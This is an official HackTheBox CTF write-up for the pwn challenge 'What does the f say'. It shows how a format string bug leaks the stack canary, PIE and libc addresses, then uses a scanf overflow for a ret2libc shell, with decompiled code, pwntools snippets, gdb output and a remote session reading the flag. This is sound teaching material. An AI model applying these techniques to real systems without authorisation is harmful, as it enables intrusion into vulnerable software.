



HACKTHEBOX



What does the f say

15th April 2022 / Document No. D22.102.268

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: **Medium**

Classification: Official

Synopsis

What does the f say is a medium-difficulty challenge that features format string vulnerability to leak canary, libc and PIE and the ret2libc to get shell.

Skills Learned

- Format string exploitation

Enumeration

First of all, we start with `checksec` :



```
Canary      : ✓  
NX          : ✓  
PIE         : ✓  
Fortify     : ✗  
RelRO      : Full
```

Protections

Protection	Enabled	Usage
Canary	✓	Prevents Buffer Overflows
NX	✓	Disables code execution on stack
PIE	✓	Randomizes the base address of the binary
RelRO	Full	Makes some binary sections read-only

All protections are enabled.

The interface of the program looks like this:

```

Welcome to Fox space bar!

Current space rocks: 69.69

1. Space drinks
2. Space food
1

1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
2

Red or Green Kryptonite?
%p
0x7ffd0092d690

Enjoy your Kryptonite vodka!

Current space rocks: 62.79

1. Space drinks
2. Space food
```

We can see there is a format string vulnerability here when it asks for "Red or Green Kryptonite". Let's start ghidra to understand the program better.

Disassembly

Starting from `main()`:

```
undefined8 main(void)

{
    long lVar1;
    long in_FS_OFFSET;

    lVar1 = *(long *) (in_FS_OFFSET + 0x28);
```

```

setup();
welcome();
fox_bar();
if (lVar1 != *(long *) (in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
}
return 0;
}

```

Stepping into `fox_bar()`.

```

void fox_bar(void)

{
    long in_FS_OFFSET;
    int local_14;
    undefined8 local_10;

    local_10 = *(undefined8 *) (in_FS_OFFSET + 0x28);
    do {
        while( true ) {
            while( true ) {
                printf((char *) (double) srocks, "\nCurrent space rocks: %.2f\n");
                srock_check();
                menu();
                __isoc99_scanf(&DAT_0010209a, &local_14);
                if (local_14 != 1) break;
                drinks_menu();
            }
            if (local_14 == 2) break;
            puts("Invalid option!");
            goodbye();
        }
        food_menu();
    } while( true );
}

```

Some interesting functions:

- `srock_check()`
- `drinks_menu()`
- `food_menu()`

Starting from `srock_check()`:

```

void srock_check(void)

{
    long lVar1;
    long in_FS_OFFSET;

    lVar1 = *(long *) (in_FS_OFFSET + 0x28);
    if (srocks < 0.00000000) {

```

```

    puts("\nNot enough space rocks!");
    goodbye();
}
if (lVar1 == *(long *) (in_FS_OFFSET + 0x28)) {
    return;
}

/* WARNING: Subroutine does not return */
__stack_chk_fail();
}

```

It checks if our space rocks(money) are > 0 and exits otherwise.

drinks_menu():

```

void drinks_menu(void)

{
    long in_FS_OFFSET;
    int local_3c;
    char local_38 [40];
    long local_10;

    local_10 = *(long *) (in_FS_OFFSET + 0x28);
    memset(local_38,0,0x1e);
    puts(
        "\n1. Milky way (4.90 s.rocks)\n2. Kryptonite vodka (6.90 s.rocks)\n3.
Deathstar(70.00s.rocks)"
    );
    __isoc99_scanf(&DAT_0010209a,&local_3c);
    if (local_3c == 1) {
        srocks = srocks - 4.899999962;
        srock_check();
        if (srocks <= 20.00000000) {
            puts("\nYou have less than 20 space rocks!");
        }
        enjoy("Milky way");
    }
    else {
        if (local_3c == 2) {
            srock_check();
            puts("\nRed or Green Kryptonite?");
            read(0,local_38,0x1d);
            printf(local_38);
            warning();
        }
        else {
            if (local_3c == 3) {
                srocks = srocks - 69.98999786;
                srock_check();
                if (srocks <= 20.00000000) {
                    puts("\nYou have less than 20 space rocks!");
                }
                enjoy("Deathstar");
            }
            else {

```

```

        puts("Invalid option!");
        goodbye();
    }
}
}
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
}
return;
}

```

We found our first bug here: `printf(local_38);` (FSB). After that, we see an odd call to a `warning()` function.

```

void warning(void)
{
    int iVar1;
    long in_FS_OFFSET;
    char local_28 [24];
    long local_10;

    local_10 = *(long *) (in_FS_OFFSET + 0x28);
    if (20.00000000 < srocks) {
        enjoy("Kryptonite vodka");
        srocks = srocks - 6.899999962;
        srock_check();
    }
    else {
        puts("\nYou have less than 20 space rocks! Are you sure you want to buy it?");
        __isoc99_scanf(&DAT_0010215d, local_28);
        iVar1 = strcmp(local_28, "yes");
        if (iVar1 == 0) {
            srocks = srocks - 6.899999962;
            srock_check();
            enjoy("Kryptonite vodka");
        }
        else {
            iVar1 = strcmp(local_28, "no");
            if (iVar1 == 0) {
                puts("\nA Milky way is nice too if you want..");
            }
        }
    }
    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}

```

Another bug is visible here: `__isoc99_scanf(&DAT_0010215d, local_28);`. This `scanf` takes as first argument `&DAT_0010215d`. If we take a better look at this:

DAT_0010215d	XREF[1]:	warning:0010148d(*)
0010215d 25	??	25h %
0010215e 73	??	73h s

It is just a `%s`. There are no limitations, so we can overflow the buffer that is 24 bytes long. It's high time we debugged the program now that we have analyzed it.

Debugging

First things first, we found that there is a `format string vulnerability`. Checking this while we run the program, we can see that we are right:

```
Welcome to Fox space bar!

Current space rocks: 69.69

1. Space drinks
2. Space food
1

1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
2

Red or Green Kryptonite?
%X %X %X
3160e980 1d 330ae5ce
```

Let's see what we can leak from the stack. I have made a loop to print up to some addresses.

```
def find_canary():
    context.log_level = 'critical'
    for i in range(12,20):
        sla('food','1')
        sla('Deathstar(70.00 s.rocks)','2')
        sla('Kryptonite?', 'AAAA: %{}$p'.format(i))
        rl()
        print('{:02d} - {}'.format(i, rl()))
```

We cannot print too many addresses in one loop cause each time we order, our space rocks reduce, and when we run out of them, the program exits.

Canary

Running it multiple times, we can see that lines 13 and 17 are the possible `canaries` (because canaries end with 00). Line 15 is also interesting because it starts with 0x55. That means we can use it to calculate the `PIE base`.

```

[*] '/home/w3th4nds/mychallenges/what_does_the_f_say/what_does_the_f_say'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
[*] Loading gadgets for
'/home/w3th4nds/mychallenges/what_does_the_f_say/what_does_the_f_say'
12 - b'AAAA: (nil)\n'
13 - b'AAAA: 0xaa3c391cb330a200\n'
14 - b'AAAA: 0x7ffeaeaabb70\n'
15 - b'AAAA: 0x556614c0e74a\n'
16 - b'AAAA: 0x1000000c2\n'
17 - b'AAAA: 0xaa3c391cb330a200\n'
18 - b'AAAA: 0x7ffeaeaabba0\n'
19 - b'AAAA: 0x556614c0e841\n'

```

To ensure that this is the canary value and not something random, we can check it in `gdb`.
 We leaked the address: `0xca776c48feb3cd00` with `%13$p`.

```

RAX 0xca776c48feb3cd00
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0x7ffff7fa94c0 (_IO_stdfile_1_lock) ← 0x0
RSI 0x7fffffff7b7a0 ← '\nEnjoy your Kryptonite vodka!\n'
R8 0xffffffff
R9 0x1e
R10 0x555555556164 ← 'Kryptonite vodka'
R11 0x246
R12 0x555555550d0 (_start) ← xor    ebp, ebp
R13 0x7fffffffef000 ← 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdded0 → 0x7fffffffdef0 → 0x7fffffffdf20 →
0x555555555860 (__libc_csu_init) ← push    r15
RSP 0x7fffffffde90 ← 0x0
RIP 0x5555555556ce (drinks_menu+369) ← xor    rax, qword ptr fs:[0x28]
[ DISASM
]
0x55555555564c <drinks_menu+239>    call    printf@plt <0x555555555050>
0x555555555651 <drinks_menu+244>    call    warning <0x55555555544a>
0x555555555656 <drinks_menu+249>    jmp     drinks_menu+364
<0x5555555556c9>
↓
0x5555555556c9 <drinks_menu+364>    nop
0x5555555556ca <drinks_menu+365>    mov     rax, qword ptr [rbp - 8]
► 0x5555555556ce <drinks_menu+369>    xor     rax, qword ptr fs:[0x28]

```

When it checks the canary value we see that they are the same.

PIE

Let's do the same but with \$15 now to calculate PIE. We leaked: `0x5555555574a` with `%15$p`.

Now we need to calculate the `PIE offset`.

Inside gdb, we run `vmmap` and compare the distance from base PIE to our leak.

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r--p 1000 0
/home/w3th4nds/mychallenges/what_does_the_f_say/what_does_the_f_say
0x555555555000 0x555555556000 r-xp 1000 1000
/home/w3th4nds/mychallenges/what_does_the_f_say/what_does_the_f_say
0x555555556000 0x555555557000 r--p 1000 2000
/home/w3th4nds/mychallenges/what_does_the_f_say/what_does_the_f_say
0x555555557000 0x555555558000 r--p 1000 2000
/home/w3th4nds/mychallenges/what_does_the_f_say/what_does_the_f_say
0x555555558000 0x555555559000 rw-p 1000 3000
/home/w3th4nds/mychallenges/what_does_the_f_say/what_does_the_f_say
0x7ffff7dea000 0x7ffff7e0f000 r--p 25000 0
/usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7e0f000 0x7ffff7f59000 r-xp 14a000 25000
/usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7f59000 0x7ffff7fa3000 r--p 4a000 16f000
/usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7fa3000 0x7ffff7fa6000 r--p 3000 1b8000
/usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7fa6000 0x7ffff7fa9000 rw-p 3000 1bb000
/usr/lib/x86_64-linux-gnu/libc-2.30.so
0x7ffff7fa9000 0x7ffff7faf000 rw-p 6000 0
0x7ffff7fce000 0x7ffff7fd2000 r--p 4000 0 [vvar]
0x7ffff7fd2000 0x7ffff7fd4000 r-xp 2000 0 [vdso]
0x7ffff7fd4000 0x7ffff7fd5000 r--p 1000 0
/usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7fd5000 0x7ffff7ff3000 r-xp 1e000 1000
/usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7ff3000 0x7ffff7ffb000 r--p 8000 1f000
/usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000
/usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000
/usr/lib/x86_64-linux-gnu/ld-2.30.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffff7fff000 0x7ffff7fff000 rw-p 21000 0 [stack]
pwndbg> dist 0x5555555574a 0x555555554000
0x5555555574a->0x555555554000 is -0x174a bytes (-0x2ea words)
```

Our `PIE` offset is `0x174a`.

Ret2libc - Buffer Overflow

The buffer that stores our answer is 24 bytes, as we saw before. So we can overflow it and overwrite the stack canary with the value we found earlier.

`ASLR` is enabled, which means the `libc_base` changes every time. As long as there is this `bof`, we can calculate the `libc base`.

Also, `libc` is missing, so we need to find it. Our goal is to leak the address of any function in the program (I chose `puts()`, but `printf()` and other functions will work as well). We know that in 64-bit systems, the first argument of a function is stored in the `rdi` register. So, we want to find the gadget `pop rdi`. After that, we need to find `puts@PLT` to call it and give it as an argument the `puts@GOT` so that we get the actual address of `puts`.

To exploit the `bof`, we need to call `warning()`, which is called if you order a Kryptonite and have less than 20 space rocks.

That means we need to reduce our space rocks and then call `warning()` to leak an address.

Another way to calculate the `libc` base is with the FSB. We can leak a `libc` address like we did with `PIE` and find the offset.

I made a function to reduce our space rocks.

```
def money_drop():
    for i in range(0,10):
        sla('food', '2')
        sla('Spacecream (7.90 s.rocks)', '2')
```

Now we need to find the `libc`. I use this: <https://github.com/niklasb/libc-database>

The `libc` version is: `libc6_2.27-3ubuntu1_amd64.so`

Now that we have the correct `libc`, we need to calculate `libc_base`. We can do this now that we have a leaked address.

```
libc_base = leaked_puts - libc_puts
```

Last but not least, we need to get our shell. It can happen in many ways. We either call `system("/bin/sh")`, or we can call a gadget from `one_gadget` and execute `execve("/bin/bash")`. I used the second method.

Solution

```
[+] Opening connection to 178.62.88.82 on port 30207: Done
[*] Loaded 14 cached gadgets for './what_does_the_f_say'
[+] Canary:      0x19a1553f4b4d5300
[+] PIE:         0x55b423889000
[+] Libc_base:   0x7fb7f25ce000
[+] Leaked:      0x7fb7f264ea30
[*] Switching to interactive mode

$ whoami
ctf
$ cat flag.txt
HTB{*****}
```